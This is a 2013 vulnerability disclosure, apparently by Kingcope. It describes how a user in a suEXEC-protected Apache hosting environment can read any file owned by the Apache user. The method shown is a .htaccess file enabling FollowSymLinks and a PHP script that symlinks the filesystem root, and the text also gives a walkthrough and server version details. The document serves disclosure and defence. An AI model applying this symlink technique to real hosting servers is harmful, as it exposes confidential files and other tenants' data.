<code>Apache suEXEC privilege elevation / information disclosure</code>
<code>Discovered by Kingcope/Aug 2013</code>
<code>The suEXEC feature provides Apache users the ability to run CGI and SSI programs</code>
<code>under user IDs different from the user ID of the calling web server. Normally,</code>
<code>when a CGI or SSI program executes, it runs as the same user who is running the</code>
<code>web server.</code>
<code>Used properly, this feature can reduce considerably the security risks involved</code>
<code>with allowing users to develop and run private CGI or SSI programs.</code>
<code>With this bug an attacker who is able to run php or cgi code inside a web</code>
<code>hosting environment and the environment is configured to use suEXEC as a</code>
<code>protection mechanism, he/she is able to read any file and directory on the file-</code>
<code>system of the UNIX/Linux system with the user and group id of the</code>
<code>apache web server.</code>
<code>Normally php and cgi scripts are not allowed to read files with the apache user-</code>
<code>id inside a suEXEC configured environment.</code>
<code>Take for example this apache owned file and the php script that follows.</code>
<code>$ ls -la /etc/testapache</code>
<code>-rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache</code>
<code>only user www-data should be able to read this file.</code>
<code>$ cat test.php</code>
<code><?php</code>
<code> </code><code>system("id; cat /etc/testapache");</code>
<code>?></code>
<code>When calling the php file using a webbrowser it will show...</code>
<code>uid=1002(example) gid=1002(example) groups=1002(example)</code>
<code>because the php script is run trough suEXEC.</code>
<code>The script will not output the file requested because of a permissions error.</code>
<code>Now if we create a .htaccess file with the content...</code>
<code>Options Indexes FollowSymLinks</code>
<code>and a php script with the content...</code>
<code> </code><code>system("ln -sf / test99.php");</code>
<code> </code><code>symlink("/", "test99.php"); // try builtin function in case when</code>
<code> </code><code>//system() is blocked</code>
<code>in the same folder</code>
<code>..we can access the root filesystem with the apache uid,gid by</code>
<code>requesting test99.php.</code>
<code>The above php script will simply create a symbolic link to '/'.</code>
<code>A request to test99.php/etc/testapache done with a web browser shows..</code>
<code>voila! read with the apache uid/gid</code>
<code>The reason we can now read out any files and traverse directories owned by the</code>
<code>apache user is because apache httpd displays symlinks and directory listings</code>
<code>without querying suEXEC.</code>
<code>It is not possible to write to files in this case.</code>
<code>Version notes. Assumed is that all Apache versions are affected by this bug.</code>
<code>apache2 -V</code>
<code>Server version: Apache/2.2.22 (Debian)</code>
<code>Server built: Mar 4 2013 21:32:32</code>
<code>Server's Module Magic Number: 20051115:30</code>
<code>Server loaded: APR 1.4.6, APR-Util 1.4.1</code>
<code>Compiled using: APR 1.4.6, APR-Util 1.4.1</code>
<code>Architecture: 32-bit</code>
<code>Server MPM: Worker</code>
<code> </code><code>threaded: yes (fixed thread count)</code>
<code> </code><code>forked: yes (variable process count)</code>
<code>Server compiled with....</code>
<code> </code><code>-D APACHE_MPM_DIR="server/mpm/worker"</code>
<code> </code><code>-D APR_HAS_SENDFILE</code>
<code> </code><code>-D APR_HAS_MMAP</code>
<code> </code><code>-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)</code>
<code> </code><code>-D APR_USE_SYSVSEM_SERIALIZE</code>
<code> </code><code>-D APR_USE_PTHREAD_SERIALIZE</code>
<code> </code><code>-D APR_HAS_OTHER_CHILD</code>
<code> </code><code>-D AP_HAVE_RELIABLE_PIPED_LOGS</code>
<code> </code><code>-D DYNAMIC_MODULE_LIMIT=128</code>
<code> </code><code>-D HTTPD_ROOT="/etc/apache2"</code>
<code> </code><code>-D SUEXEC_BIN="/usr/lib/apache2/suexec"</code>
<code> </code><code>-D DEFAULT_PIDLOG="/var/run/apache2.pid"</code>
<code> </code><code>-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"</code>
<code> </code><code>-D DEFAULT_ERRORLOG="logs/error_log"</code>
<code> </code><code>-D AP_TYPES_CONFIG_FILE="mime.types"</code>
<code> </code><code>-D SERVER_CONFIG_FILE="apache2.conf"</code>
<code>Cheers,</code>
<code>/Kingcope</code>